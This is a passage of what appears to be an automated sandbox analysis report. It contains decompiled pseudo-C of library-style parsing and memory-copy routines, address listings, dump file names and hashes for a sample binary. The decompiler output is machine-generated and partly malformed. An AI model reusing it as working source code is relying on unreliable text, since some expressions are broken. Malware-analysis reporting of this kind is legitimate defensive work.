									__eflags = __eax;
									 *(__ecx + 8) = __eax;
									goto L30;
								}
								__eax = __edi;
								__eflags =  *((intOrPtr*)(__ebx + 0x11)) - __al;
								__eax = __edi & 0xffffff00 |  *((intOrPtr*)(__ebx + 0x11)) != __al;
								__al = __al | _v109;
								__eflags = __al;
								__esi = __eax;
								if(__al == 0) {
									__eax =  *(__ebx + 0x2c);
									__eflags = __eax;
									if(__eax <= 0) {
										_v109 = 0;
										goto L164;
									}
									__eax = _v100;
									_v109 = 1;
									_v100 = 0;
									_v136 = _v100;
									goto L28;
								}
								__eax =  *(__ebx + 0x10) & 0x000000ff;
								__eflags = __al;
								if(__al == 0) {
									L95:
									__edi = _v48;
									__eflags = __edi;
									if(__edi != 0) {
										L107:
										_t537 = _t543 ^ 0x00000001;
										__eflags = _t537;
										goto L108;
									}
									goto L96;
								}
								__edx = __edi;
								__eflags =  *((intOrPtr*)(__ebx + 0x12)) - __dl;
								if( *((intOrPtr*)(__ebx + 0x12)) != __dl) {
									__esi = __eax;
									goto L95;
								}
								__eflags = _v109;
								if(_v109 != 0) {
									__esi = _v109 & 0x000000ff;
									goto L95;
								}
								__eax = _v100;
								__eflags = __eax;
								if(__eax == 0) {
									__esi = 0;
									goto L95;
								}
								__edx = _v76;
								__esi = _v72;
								_v100 = __al;
								__eax =  &_v68;
								__eflags = __edx -  &_v68;
								__eax = 0xf;
								_t119 = __esi + 1; // 0x1
								__edi = _t119;
								__eax =  !=  ? _v68 : 0xf;
								__eflags = __edi - ( !=  ? _v68 : 0xf);
								if(__edi > ( !=  ? _v68 : 0xf)) {
									 *(__esp + 0xc) = 1;
									__ecx =  &_v76;
									 *(__esp + 8) = 0;
									 *(__esp + 4) = 0;
									_v156 = __esi;
									__eax = E004B26D0( &_v76);
									__esp = __esp - 0x10;
									__edx = _v76;
								}
								__eax = _v100 & 0x000000ff;
								_v100 = 0;
								 *(__edx + __esi) = __al;
								__eax = _v76;
								_v72 = __edi;
								 *((char*)(_v76 + __esi + 1)) = 0;
								__ecx = _a4;
								__eax =  *(__ecx + 8);
								__eflags = __eax -  *(__ecx + 0xc);
								if(__eax <  *(__ecx + 0xc)) {
									goto L29;
								} else {
									goto L44;
								}
							}
						}
				}
			}

0x0045e02f
0x0045e032
0x0045e035
0x0045e042
0x0045e04a
0x0045e055
0x0045e058
0x0045e05c
0x0045eb67
0x0045eb6c
0x0045eb6e
0x0045eb74
0x0045eb7d
0x0045eb84
0x0045eb8d
0x0045eb94
0x0045eb98
0x0045eb9f
0x0045eba6
0x0045ebad
0x0045ebb4
0x0045ebbb
0x0045ebc2
0x0045ebc9
0x0045ebd0
0x0045ebd7
0x0045ebdb
0x0045ebde
0x0045ebec
0x0045ebef
0x0045ebf3
0x0045ebf8
0x0045ebfa
0x0045ebfa
0x0045e068
0x0045e06d
0x0045e753
0x0045e756
0x0045e758
0x0045e073
0x0045e073
0x0045e073
0x0045e07e
0x0045e085
0x0045e088
0x0045e08c
0x0045e08e
0x0045e098
0x0045e09d
0x0045e09d
0x0045e0a0
0x0045e0ad
0x0045e0b0
0x0045e0b7
0x0045e0bb
0x0045e0c3
0x0045e0ca
0x0045e0cd
0x0045e0d3
0x0045e0d7
0x0045e0dd
0x0045e0e3
0x0045e0ea
0x0045e0f4
0x0045e0fb
0x0045e0ff
0x0045e71c
0x0045e71c
0x0045e71e
0x0045e6f5
0x0045e6f5
0x0045e6f9
0x0045e11f
0x0045e12a
0x0045ec04
0x0045ec06
0x00000000
0x00000000
0x0045ec0c
0x0045ec10
0x00000000
0x00000000
0x00000000
0x0045e130
0x0045e134
0x0045e790
0x0045e13a
0x0045e13a
0x0045e13a
0x0045e13d
0x0045e140
0x0045e143
0x0045e150
0x0045e153
0x0045e158
0x0045e15d
0x0045e15f
0x0045e161
0x0045e164
0x0045e880
0x0045e882
0x0045e885
0x0045e888
0x0045e890
0x0045e893
0x0045e896
0x0045e89c
0x0045e8a3
0x0045e8a3
0x0045e896
0x0045e888
0x0045e16a
0x0045e171
0x0045e176
0x0045e180
0x00000000
0x00000000
0x00000000
0x0045e182
0x0045e182
0x0045e188
0x0045e970
0x0045e973
0x0045e976
0x00000000
0x00000000
0x0045e97c
0x0045e980
0x0045eaa0
0x0045eaa0
0x0045eaab
0x0045eab2
0x0045eab7
0x0045eaba
0x0045eabc
0x00000000
0x00000000
0x0045eac2
0x0045eac5
0x0045eac8
0x0045ec9c
0x0045ec9c
0x0045ec9f
0x0045eca2
0x0045ecb4
0x00000000
0x0045ecb4
0x0045eca4
0x0045eca6
0x00000000
0x00000000
0x0045ecac
0x0045eace
0x0045ead0
0x0045eada
0x0045eadd
0x0045eae1
0x0045eae6
0x0045eae6
0x0045e986
0x0045e986
0x0045e98a
0x0045e98f
0x0045e992
0x0045e994
0x0045e99f
0x0045e9a7
0x0045e9af
0x0045e9b6
0x0045e9bb
0x0045e9bb
0x0045e992
0x0045e9c1
0x0045e9c3
0x0045e9c5
0x0045e9d3
0x0045e9d7
0x0045e9da
0x0045e9dd
0x0045e9e2
0x0045e9e8
0x0045e9ef
0x0045e9f6
0x0045e9f9
0x0045e9fe
0x0045ea00
0x0045ea02
0x0045ea05
0x0045ea05
0x0045ea05
0x0045ea00
0x0045ea08
0x0045ea0c
0x0045ea1a
0x0045ea20
0x0045ea23
0x0045ea28
0x00000000
0x0045ea0e
0x0045ea11
0x0045ea14
0x00000000
0x00000000
0x00000000
0x0045ea14
0x0045e198
0x0045e198
0x0045e19b
0x0045e1a0
0x0045e1ab
0x0045e1b1
0x00000000
0x00000000
0x0045e1b7
0x0045e1ba
0x0045e1c0
0x0045e962
0x0045e965
0x00000000
0x0045e965
0x00000000
0x0045e8b0
0x0045e8b0
0x0045e8b3
0x0045e8b6
0x0045ec5a
0x0045ec5d
0x0045ec60
0x0045ec66
0x0045ec66
0x00000000
0x0045ec60
0x0045e8bc
0x0045e8bf
0x0045e8c2
0x0045e8c5
0x0045e1c6
0x0045e1c9
0x0045e1cc
0x0045e1cc
0x0045e1d3
0x0045e1d8
0x00000000
0x0045e1d8
0x0045e661
0x0045e661
0x0045e664
0x0045e664
0x0045e667
0x0045e66d
0x0045e670
0x0045e678
0x0045e67a
0x0045e67c
0x0045e67f
0x0045e67f
0x0045e67f
0x0045e682
0x0045e688
0x0045e68b
0x0045e68e
0x0045e690
0x0045e692
0x0045e695
0x0045e698
0x0045e69b
0x0045e6a0
0x0045e6a3
0x0045e6a3
0x0045e6a6
0x0045e6ac
0x0045e6ae
0x0045e6b0
0x0045e6b3
0x0045e6b6
0x0045e6b9
0x0045e6be
0x0045e6c1
0x0045e6cb
0x0045e6cb
0x0045e1a0
0x0045e761
0x0045e764
0x0045e767
0x0045e76f
0x0045e772
0x0045e778
0x0045e77a
0x0045e77d
0x0045e783
0x0045e783
0x0045e77d
0x00000000
0x0045e767
0x0045e150
0x0045e12a
0x0045e6ff
0x0045e701
0x0045e703
0x00000000
0x00000000
0x0045e709
0x0045e709
0x0045e710
0x0045e713
0x0045e716
0x00000000
0x00000000
0x00000000
0x0045e716
0x0045e105
0x0045e105
0x0045e108
0x00000000
0x0045e110
0x00000000
0x00000000
0x0045e485
0x0045e488
0x0045e48e
0x0045e496
0x0045e498
0x0045e7a0
0x0045e7a6
0x0045e7ab
0x0045e7ae
0x0045e7b1
0x0045e7b4
0x0045e7b8
0x00000000
0x00000000
0x0045e7be
0x0045e7c1
0x0045e7c6
0x0045e7cd
0x0045e115
0x0045e119
0x0045e4aa
0x0045e4aa
0x0045e4ad
0x0045e51d
0x0045e51d
0x0045e520
0x0045e523
0x0045e525
0x0045e52a
0x0045e52c
0x0045e52c
0x0045e52e
0x0045e531
0x0045e537
0x0045e539
0x0045e53c
0x0045e53f
0x0045e547
0x0045e54a
0x0045e54d
0x0045e553
0x0045e55a
0x0045e55a
0x0045e54d
0x0045e53f
0x0045e4b2
0x0045e4bc
0x0045e4c1
0x0045e4c1
0x0045e4c3
0x0045e4c6
0x0045e725
0x0045e72a
0x0045e72d
0x0045e735
0x0045e738
0x0045e73a
0x0045e73d
0x0045e743
0x0045e74a
0x0045e74a
0x0045e73d
0x0045e72d
0x0045e4cc
0x0045e4ce
0x0045e4d0
0x00000000
0x0045e4d6
0x0045e4d6
0x0045e4d9
0x0045e4dc
0x0045e4df
0x0045e4e9
0x0045e4ec
0x0045e4ef
0x0045e4f2
0x0045e4f6
0x00000000
0x00000000
0x0045e4fc
0x0045e4ff
0x0045e502
0x0045e505
0x0045e952
0x0045e955
0x0045e511
0x0045e511
0x0045e518
0x00000000
0x0045e518
0x0045e50b
0x0045e50b
0x0045e50b
0x0045e50e
0x00000000
0x0045e50e
0x0045e4e1
0x0045e4e3
0x0045e6d0
0x0045e6d3
0x0045e6d6
0x0045ec40
0x0045ec43
0x0045ec46
0x0045ec4c
0x0045ec4c
0x00000000
0x0045ec46
0x0045e6df
0x0045e6e2
0x0045e6e5
0x0045e6e9
0x00000000
0x00000000
0x00000000
0x0045e6e9
0x00000000
0x0045e4e3
0x0045e4d0
0x0045e51d
0x00000000
0x0045e119
0x0045e49e
0x0045e49e
0x0045e4a0
0x0045e4a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0045e390
0x0045e393
0x0045e397
0x0045e3e0
0x0045e3e0
0x0045e3e3
0x0045e3e6
0x0045e3ed
0x0045e3f0
0x0045e3f3
0x0045e3f3
0x0045e3f6
0x0045e3f9
0x0045e3fb
0x0045e3fd
0x0045e400
0x0045e402
0x0045e402
0x0045e404
0x0045e406
0x0045e8d0
0x0045e8d2
0x0045e8d5
0x0045e8d8
0x0045e8de
0x0045e8e0
0x0045e8e3
0x0045e8e6
0x0045e8ec
0x0045e8f3
0x0045e8f3
0x0045e8e6
0x0045e8d8
0x0045e40c
0x0045e40f
0x0045e413
0x0045e416
0x0045e418
0x00000000
0x00000000
0x0045e41a
0x0045e41c
0x0045e820
0x0045e823
0x0045e826
0x0045e82c
0x0045e82e
0x0045e831
0x0045e837
0x0045e839
0x0045e83c
0x0045e842
0x0045e842
0x0045e83c
0x0045e424
0x0045e424
0x0045e427
0x0045e42a
0x0045e42c
0x0045e42f
0x0045e42f
0x0045e431
0x0045e433
0x0045ea80
0x0045ea83
0x0045ea86
0x0045e920
0x0045e920
0x0045e923
0x0045e925
0x00000000
0x00000000
0x0045e92b
0x0045e92e
0x0045e931
0x0045e934
0x0045e939
0x0045e93c
0x0045e93f
0x0045e941
0x00000000
0x0045e941
0x0045ea8c
0x00000000
0x0045ea8c
0x0045e439
0x0045e43c
0x0045e43f
0x0045e442
0x0045e44c
0x0045e44c
0x0045e44f
0x0045e452
0x0045e455
0x00000000
0x00000000
0x0045e45b
0x0045e45e
0x0045e461
0x0045e464
0x0045ea32
0x0045ea35
0x0045e470
0x0045e470
0x0045e477
0x0045e47c
0x00000000
0x0045e47c
0x0045e46a
0x0045e46a
0x0045e46a
0x0045e46d
0x00000000
0x0045e46d
0x0045e444
0x0045e446
0x0045e900
0x0045e903
0x0045e906
0x0045ec82
0x0045ec84
0x0045ec87
0x0045ec8a
0x0045ec90
0x0045ec90
0x00000000
0x0045ec8a
0x0045e90c
0x0045e90f
0x0045e912
0x0045e916
0x0045e918
0x00000000
0x00000000
0x00000000
0x0045e918
0x00000000
0x0045e446
0x0045e422
0x0045e422
0x0045e422
0x00000000
0x0045e422
0x0045e3f3
0x0045e399
0x0045e39c
0x0045e3a0
0x0045e3a3
0x0045e3a6
0x0045e3a9
0x0045e3a9
0x0045e3ab
0x0045e3ad
0x00000000
0x00000000
0x0045e3af
0x0045e3b2
0x0045ec1b
0x0045ec1f
0x00000000
0x00000000
0x0045ec25
0x0045ec29
0x00000000
0x00000000
0x0045ec2f
0x0045ec33
0x00000000
0x00000000
0x00000000
0x0045ec39
0x0045e3b8
0x0045e3bd
0x0045e3c0
0x00000000
0x00000000
0x0045e3c6
0x0045e3ca
0x0045e3cc
0x00000000
0x00000000
0x0045e3ce
0x0045e3d0
0x00000000
0x00000000
0x0045e3d6
0x0045e3da
0x00000000
0x00000000
0x00000000
0x00000000
0x0045e360
0x0045e363
0x0045e365
0x0045e7e0
0x0045e7e3
0x0045e7f1
0x0045e7f3
0x0045e7f5
0x0045eaee
0x0045eaf4
0x0045eaf9
0x0045eafc
0x0045eafe
0x00000000
0x00000000
0x0045eb04
0x0045eb07
0x0045eb0a
0x0045eb0d
0x0045eb12
0x0045eb19
0x00000000
0x0045eb19
0x0045e7fb
0x0045e7fb
0x0045e7fe
0x0045e800
0x0045e850
0x0045e850
0x0045e853
0x0045e856
0x0045e85b
0x0045e85e
0x0045e860
0x0045e862
0x0045eb23
0x0045eb29
0x0045eb2e
0x0045eb31
0x0045eb33
0x00000000
0x00000000
0x0045eb39
0x0045eb3c
0x0045eb3f
0x0045eb42
0x0045eb47
0x0045eb4e
0x0045eb53
0x00000000
0x0045eb53
0x0045e868
0x0045e868
0x0045e86b
0x0045e86d
0x0045e379
0x0045e379
0x0045e37d
0x0045e37f
0x00000000
0x0045e37f
0x0045e873
0x0045e876
0x0045e878
0x00000000
0x00000000
0x0045e80d
0x0045e80d
0x0045e80f
0x0045e814
0x00000000
0x0045e814
0x0045e802
0x0045e805
0x0045e807
0x00000000
0x00000000
0x00000000
0x0045e807
0x0045e36b
0x0045e36e
0x0045e371
0x0045e373
0x00000000
0x00000000
0x00000000
0x00000000
0x0045e1e1
0x0045e1e4
0x0045e256
0x0045e256
0x0045e259
0x0045e25c
0x0045e25e
0x0045e260
0x0045e263
0x0045e265
0x0045e265
0x0045e267
0x0045e269
0x0045e590
0x0045e592
0x0045e595
0x0045e598
0x0045e59e
0x0045e5a0
0x0045e5a3
0x0045e5a6
0x0045e5ac
0x0045e5b3
0x0045e5b3
0x0045e5a6
0x0045e598
0x0045e26f
0x0045e272
0x0045e276
0x0045e279
0x0045e27b
0x0045e27e
0x0045e27e
0x0045e280
0x0045e282
0x0045e563
0x0045e565
0x0045e568
0x0045e56b
0x0045e571
0x0045e573
0x0045e576
0x0045e578
0x0045e57b
0x0045e581
0x0045e588
0x0045e588
0x0045e57b
0x0045e56b
0x0045e288
0x0045e28a
0x0045e28c
0x0045ea65
0x0045ea65
0x0045ea68
0x0045ea6d
0x0045ea6f
0x00000000
0x00000000
0x00000000
0x0045e292
0x0045e292
0x0045e295
0x0045e298
0x0045e29b
0x0045e29d
0x0045e29f
0x0045e5c0
0x0045e5c3
0x0045e5c6
0x0045ea40
0x0045ea42
0x0045ea45
0x0045ea47
0x0045ea4a
0x0045ea50
0x0045ea57
0x0045ea57
0x0045e5cc
0x0045e5cc
0x0045e5cc
0x0045e5c6
0x0045e29f
0x0045e2a5
0x0045e2a7
0x0045e2af
0x0045e2b2
0x0045e2b6
0x0045e2b9
0x0045e2bc
0x0045e2c1
0x0045e2c3
0x0045e1f0
0x0045e1f6
0x0045e1f9
0x0045e1fc
0x0045e200
0x0045e203
0x0045e203
0x0045e206
0x0045e209
0x0045e20c
0x0045e213
0x0045e217
0x0045e219
0x0045e5d4
0x0045e5dc
0x0045e5df
0x0045e5e7
0x0045e5ef
0x0045e5f2
0x0045e5f7
0x0045e5fa
0x0045e5fa
0x0045e21f
0x0045e223
0x0045e223
0x0045e223
0x0045e227
0x0045e22a
0x0045e22d
0x0045e230
0x0045e235
0x0045e235
0x0045e238
0x0045e23b
0x0045e23e
0x0045e352
0x0045e354
0x0045e357
0x0045e24a
0x0045e24a
0x0045e251
0x00000000
0x0045e251
0x0045e244
0x0045e244
0x0045e244
0x0045e247
0x00000000
0x0045e247
0x0045e2c9
0x0045e2cb
0x0045e2ce
0x0045e2d1
0x0045e2d1
0x0045e2d4
0x0045e2d6
0x0045e630
0x0045e633
0x0045e635
0x0045ea61
0x00000000
0x0045ea61
0x0045e63b
0x0045e63e
0x0045e642
0x0045e649
0x00000000
0x0045e649
0x0045e2dc
0x0045e2e0
0x0045e2e2
0x0045e656
0x0045e656
0x0045e659
0x0045e65b
0x0045e6f0
0x0045e6f2
0x0045e6f2
0x00000000
0x0045e6f2
0x00000000
0x0045e65b
0x0045e2e8
0x0045e2ea
0x0045e2ed
0x0045e654
0x00000000
0x0045e654
0x0045e2f3
0x0045e2f7
0x0045ec72
0x00000000
0x0045ec72
0x0045e2fd
0x0045e300
0x0045e302
0x0045ec7b
0x00000000
0x0045ec7b
0x0045e308
0x0045e30b
0x0045e30e
0x0045e311
0x0045e314
0x0045e316
0x0045e31b
0x0045e31b
0x0045e31e
0x0045e322
0x0045e324
0x0045e602
0x0045e60a
0x0045e60d
0x0045e615
0x0045e61d
0x0045e620
0x0045e625
0x0045e628
0x0045e628
0x0045e32a
0x0045e32e
0x0045e335
0x0045e338
0x0045e33b
0x0045e33e
0x0045e343
0x0045e346
0x0045e349
0x0045e34c
0x00000000
0x00000000
0x00000000
0x00000000
0x0045e34c
0x0045e28c
0x00000000

Strings

-, xrefs: 0045E994

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: memcpy
String ID: -
API String ID: 3510742995-2547889144
Opcode ID: 1d382fa4b485aa599bbf3e7b5f6e11aa1a84cc1c1991f7bfc998326b9ca5c8f7
Instruction ID: 890fc2e21d4396b2b6d6d53f1855fc3f3fc627be2787b0037877308c2242d418
Opcode Fuzzy Hash: 1d382fa4b485aa599bbf3e7b5f6e11aa1a84cc1c1991f7bfc998326b9ca5c8f7
Instruction Fuzzy Hash: FA728E70904248CBDB18CF69C08479E7BB1AF05365F24865AEC599F393D339DE8ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 004B0DA0 Relevance: 2.6, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 004B0E10
memset.MSVCRT ref: 004B0E34

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: b3941d5defde189684ae15570acb8ba9da98dc12821320970e3d40862f7b2f9d
Instruction ID: 0f5d28bdae792883d63293e12de8c45016ea013fdd36bab765260c45725b30e5
Opcode Fuzzy Hash: b3941d5defde189684ae15570acb8ba9da98dc12821320970e3d40862f7b2f9d
Instruction Fuzzy Hash: 5231BC716083148FC7119F2CC4C026BFBF1AFC6301F18886EE9998B305D239D841CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004609D0 Relevance: 2.1, Strings: 1, Instructions: 859
COMMONCrypto

Download Yara Rule

C-Code - Quality: 44%

			E004609D0(void* __eflags, signed int _a4, signed int _a8, signed int _a12, short _a16, signed int _a20, signed int* _a24, intOrPtr _a28) {
				void* _v16;
				void _v44;
				signed int _v48;
				signed int _v52;
				void _v68;
				signed int _v72;
				signed int _v76;
				signed char _v77;
				char _v78;
				char _v80;
				char _v81;
				signed short _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed char _v112;
				signed char _v113;
				char _v114;
				signed char _v115;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int* _v156;
				signed int _v160;
				void* _v164;
				void* _v168;
				void* _v172;
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				void* __ebp;
				signed int _t427;
				signed int _t428;
				signed int _t433;
				signed int _t435;
				signed int _t441;
				signed int _t444;
				signed int* _t448;
				signed int _t450;
				signed char _t451;
				signed int* _t452;
				signed int _t455;
				signed int _t462;
				signed int* _t463;
				signed int _t466;
				signed int _t470;
				signed int _t472;
				signed int _t474;
				signed int _t476;
				signed short* _t477;
				signed int _t479;
				signed int _t480;
				signed short* _t481;
				signed short* _t485;
				signed short* _t487;
				signed int _t508;
				signed int* _t515;
				signed int* _t516;
				signed int _t523;
				intOrPtr* _t524;
				intOrPtr* _t525;
				signed short _t532;
				signed int _t540;
				signed int _t543;
				signed int _t546;
				signed int _t547;
				void* _t549;
				void* _t550;
				void* _t552;

				_t536 = _a20 + 0x6c;
				_v156 = _t536;
				_v132 = E004C0980(__eflags);
				_t540 = E004522B0(0x529734);
				_t508 =  *((intOrPtr*)( *(_a20 + 0x6c) + 0xc)) + _t540 * 4;
				_t427 =  *_t508;
				_v104 = _t427;
				if(_t427 == 0) {
					_t428 = E004C3430(0x54);
					 *(_t428 + 4) = 0;
					 *_t428 = 0x53e684;
					 *(_t428 + 8) = 0;
					 *(_t428 + 0xc) = 0;
					 *((char*)(_t428 + 0x10)) = 0;
					 *(_t428 + 0x12) = 0;
					 *(_t428 + 0x18) = 0;
					 *(_t428 + 0x1c) = 0;
					 *(_t428 + 0x20) = 0;
					 *(_t428 + 0x24) = 0;
					 *(_t428 + 0x28) = 0;
					 *(_t428 + 0x2c) = 0;
					 *(_t428 + 0x30) = 0;
					 *(_t428 + 0x34) = 0;
					 *(_t428 + 0x38) = 0;
					 *((char*)(_t428 + 0x52)) = 0;
					_v156 = _t536;
					_t536 = _t428;
					_v100 = _t428;
					E004AB7D0(_t428, __eflags);
					_v156 = _t540;
					_v160 = _t428;
					E004AD8F0( *(_a20 + 0x6c));
					_t550 = _t550 - 0xfffffffffffffffc;
					_v104 =  *_t508;
				}
				_t433 = _v104;
				_v124 = _t433 + 0x3c;
				if( *((intOrPtr*)(_t433 + 0x24)) != 0) {
					_t435 = _v104;
					__eflags =  *(_t435 + 0x2c);
					_v115 =  *(_t435 + 0x2c) != 0;
				} else {
					_v115 = 0;
				}
				_v72 = 0;
				_v76 =  &_v68;
				_v68 = 0;
				if( *((char*)(_v104 + 0x10)) != 0) {
					_v156 = 0x20;
					E004B2380( &_v76);
					_t550 = _t550 - 4;
				}
				_v156 = 0x20;
				_v52 =  &_v44;
				_v48 = 0;
				_v44 = 0;
				E004B2380( &_v52);
				_t441 = _v104;
				_v120 = 1;
				_t552 = _t550 - 4;
				_v113 = 0;
				_v114 = 0;
				_v108 = _t441 + 0x3e;
				_v80 =  *((intOrPtr*)(_t441 + 0x38));
				_t444 =  &_v81 + _v120;
				_v100 = 0;
				_v136 = 0;
				_v128 = 0;
				if( *_t444 > 4) {
					L119:
					_t508 = 0;
					__eflags = 0;
					L120:
					_t543 = 1;
					L116:
					__eflags = _v120 - 3;
					if(_v120 > 3) {
						L9:
						if(((_t444 & 0xffffff00 | _v128 - 0x00000001 > 0x00000000) & _t543) == 0) {
							__eflags = _t543;
							if(_t543 == 0) {
								L95:
								_t448 = _a24;
								 *_t448 =  *_t448 | 0x00000004;
								__eflags =  *_t448;
								L96:
								_v156 =  &_a12;
								_t450 = E00450BD0( &_a12,  &_a4, _t531);
								__eflags = _t450;
								if(_t450 != 0) {
									_t452 = _a24;
									 *_t452 =  *_t452 | 0x00000002;
									__eflags =  *_t452;
								}
								_t515 = _v52;
								_t451 = _a4;
								_t532 = _a8;
								__eflags = _t515 -  &_v44;
								if(_t515 !=  &_v44) {
									_v156 = _t515;
									_v100 = _t451;
									_v96 = _t532;
									L004C33F0();
									_t451 = _v100;
									_t532 = _v96;
								}
								_t516 = _v76;
								__eflags = _t516 -  &_v68;
								if(_t516 !=  &_v68) {
									_v156 = _t516;
									_v100 = _t451;
									_v96 = _t532;
									L004C33F0();
									_t451 = _v100;
								}
								return _t451;
							}
							__eflags = _v48 - 1;
							if(_v48 <= 1) {
								L147:
								__eflags = _v114;
								if(_v114 != 0) {
									__eflags =  *_v52 - 0x30;
									if( *_v52 != 0x30) {
										 *((intOrPtr*)(_t552 + 0xc)) = 0x2d;
										 *(_t552 + 8) = 1;
										 *(_t552 + 4) = 0;
										_v156 = 0;
										E004B0DA0(_t508,  &_v52, _t536, _t543, _t549);
										_t552 = _t552 - 0x10;
									}
								}
								__eflags = _v72;
								if(_v72 != 0) {
									_t531 = _v136;
									__eflags = _v113;
									_t457 =  !=  ? _v136 : _v100;
									_v156 =  !=  ? _v136 : _v100;
									E004B2860( &_v76);
									_t546 = _v104;
									_t552 = _t552 - 4;
									 *(_t552 + 8) =  &_v76;
									_v156 =  *((intOrPtr*)(_t546 + 0xc));
									_v160 =  *(_t546 + 8);
									_t462 = E004BE6E0();
									__eflags = _t462;
									if(_t462 == 0) {
										_t463 = _a24;
										 *_t463 =  *_t463 | 0x00000004;
										__eflags =  *_t463;
									}
								}
								__eflags = _v113;
								if(_v113 == 0) {
									L155:
									_v156 =  &_v52;
									E004B0F40(_a28);
									_t552 = _t552 - 4;
									goto L96;
								} else {
									_t455 = _v104;
									__eflags =  *((intOrPtr*)(_t455 + 0x30)) - _v100;
									if( *((intOrPtr*)(_t455 + 0x30)) != _v100) {
										goto L95;
									}
									goto L155;
								}
							}
							L177:
							 *(_t552 + 4) = 0;
							_v156 = 0x30;
							_t466 = E004552A0( &_v52);
							_t552 = _t552 - 8;
							__eflags = _t466;
							if(_t466 == 0) {
								goto L147;
							}
							_t531 = _v48;
							__eflags = _t466 - 0xffffffff;
							if(_t466 == 0xffffffff) {
								_t418 = _t531 - 1; // 0x0
								_t466 = _t418;
								__eflags = _t466 - 0xffffffff;
								if(_t466 == 0xffffffff) {
									 *_v52 = 0;
									goto L147;
								}
								__eflags = _t466;
								if(_t466 == 0) {
									goto L147;
								}
							}
							__eflags = _t466 - _t531;
							_v156 = 0;
							_t468 =  >  ? _t531 : _t466;
							 *(_t552 + 4) =  >  ? _t531 : _t466;
							E004B2480( &_v52);
							_t552 = _t552 - 8;
							goto L147;
						}
						_t470 = _v104;
						if(_v114 != 0) {
							_v108 =  *((intOrPtr*)(_t470 + 0x28));
						} else {
							_v108 =  *((intOrPtr*)(_t470 + 0x20));
						}
						_t472 = _a8 & 0x0000ffff;
						_t523 = _a4;
						_t536 = 1;
						while(1) {
							_t508 = _t508 & 0xffffff00 | _t472 == 0x0000ffff;
							_t474 = (_t472 & 0xffffff00 | _t523 != 0x00000000) & _t508;
							_t547 = _t474;
							if(_t474 != 0) {
								_t487 =  *(_t523 + 8);
								if(_t487 >=  *((intOrPtr*)(_t523 + 0xc))) {
									_t474 =  *((intOrPtr*)( *_t523 + 0x24))();
								} else {
									_t474 =  *_t487 & 0x0000ffff;
								}
								_t508 = 0;
								if(_t474 == 0xffff) {
									_a4 = 0;
									_t508 = _t547;
								}
							}
							_t524 = _a12;
							_t476 = (_t474 & 0xffffff00 | _t524 != 0x00000000) & (_t531 & 0xffffff00 | _a16 == 0x0000ffff);
							_t543 = _t476;
							if(_t476 != 0) {
								goto L141;
							}
							L14:
							if(_t508 == _t531) {
								L145:
								__eflags = _t536 - _v128;
								if(_t536 != _v128) {
									goto L95;
								}
								__eflags = _v48 - 1;
								if(_v48 > 1) {
									goto L177;
								}
								goto L147;
							}
							L15:
							if(_t536 >= _v128) {
								goto L145;
							}
							_t525 = _a4;
							_t480 = _a8 & 0x0000ffff;
							if(_t525 != 0 && _t480 == 0xffff) {
								_t485 =  *(_t525 + 8);
								__eflags = _t485 -  *((intOrPtr*)(_t525 + 0xc));
								if(_t485 >=  *((intOrPtr*)(_t525 + 0xc))) {
									_t480 =  *((intOrPtr*)( *_t525 + 0x24))();
								} else {
									_t480 =  *_t485 & 0x0000ffff;
								}
								__eflags = _t480 - 0xffff;
								if(_t480 == 0xffff) {
									_a4 = 0;
								}
							}
							if( *((intOrPtr*)(_v108 + _t536 * 2)) != _t480) {
								goto L95;
							} else {
								_t523 = _a4;
								_t481 =  *(_t523 + 8);
								if(_t481 >=  *((intOrPtr*)(_t523 + 0xc))) {
									 *((intOrPtr*)( *_t523 + 0x28))();
									_t523 = _a4;
								} else {
									 *(_t523 + 8) =  &(_t481[1]);
								}
								_t508 = 0xffffffff;
								_t536 = _t536 + 1;
								_t472 = 0xffffffff;
								_a8 = 0xffffffff;
								continue;
							}
							L141:
							_t477 =  *(_t524 + 8);
							__eflags = _t477 -  *((intOrPtr*)(_t524 + 0xc));
							if(_t477 >=  *((intOrPtr*)(_t524 + 0xc))) {
								_t479 =  *((intOrPtr*)( *_t524 + 0x24))();
							} else {
